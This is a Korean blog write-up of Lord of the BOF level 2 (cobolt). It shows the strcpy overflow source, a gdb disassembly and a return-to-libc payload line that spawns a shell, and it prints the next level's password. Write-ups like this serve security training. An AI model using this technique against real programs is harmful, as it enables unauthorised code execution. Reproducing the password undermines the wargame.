Sh4n3e

[시스템해킹][LOB] Level2 : Gremlin -> Cobolt 본문

Wargame/LOB

[시스템해킹][LOB] Level2 : Gremlin -> Cobolt

sh4n3e 2017. 6. 22. 13:41

Gremlin이 제공하는 문제인 cobolt는 레벨1인 gate문제를 RTL로 풀었다면 너무 간단한 문제다.

사용한 페이로드만 약간만 수정해서 사용하면 된다.

 

 [gremlin@localhost gremlin]$ ls
cobolt cobolt.c
[gremlin@localhost gremlin]$ cat cobolt.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

 

파일과 소스코드를 확인하고, BOF 지점을 확인한다.

 

 gremlin@localhost gremlin]$ gdb -q cobolt
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x8048430 <main>: push   %ebp
0x8048431 <main+1>: mov    %ebp,%esp
0x8048433 <main+3>: sub    %esp,16
0x8048436 <main+6>: cmp    DWORD PTR [%ebp+8],1
0x804843a <main+10>: jg     0x8048453 <main+35>
0x804843c <main+12>: push   0x80484d0
0x8048441 <main+17>: call   0x8048350 <printf>
0x8048446 <main+22>: add    %esp,4
0x8048449 <main+25>: push   0
0x804844b <main+27>: call   0x8048360 <exit>
0x8048450 <main+32>: add    %esp,4
0x8048453 <main+35>: mov    %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>: add    %eax,4
0x8048459 <main+41>: mov    %edx,DWORD PTR [%eax]
0x804845b <main+43>: push   %edx
0x804845c <main+44>: lea    %eax,[%ebp-16]
0x804845f <main+47>: push   %eax
0x8048460 <main+48>: call   0x8048370 <strcpy>
0x8048465 <main+53>: add    %esp,8
0x8048468 <main+56>: lea    %eax,[%ebp-16]
0x804846b <main+59>: push   %eax
0x804846c <main+60>: push   0x80484dc
0x8048471 <main+65>: call   0x8048350 <printf>
0x8048476 <main+70>: add    %esp,8
0x8048479 <main+73>: leave 
0x804847a <main+74>: ret   
0x804847b <main+75>: nop   
0x804847c <main+76>: nop   
0x804847d <main+77>: nop   
0x804847e <main+78>: nop   
0x804847f <main+79>: nop   
End of assembler dump.

 

사용가능한 버퍼공간을 확인하고,

 

[gremlin@localhost gremlin]$ ./cobolt $(python -c 'print "A"*20+"\xe0\x8a\x05\>
AAAAAAAAAAAAAAAAAAAA��@BBBB��@
bash$ id
uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremlin)
bash$ /bin/my-pass
euid = 502
hacking exposed
bash$  

 

페이로드를 넣으면! bash쉘이 실행된다.

Comments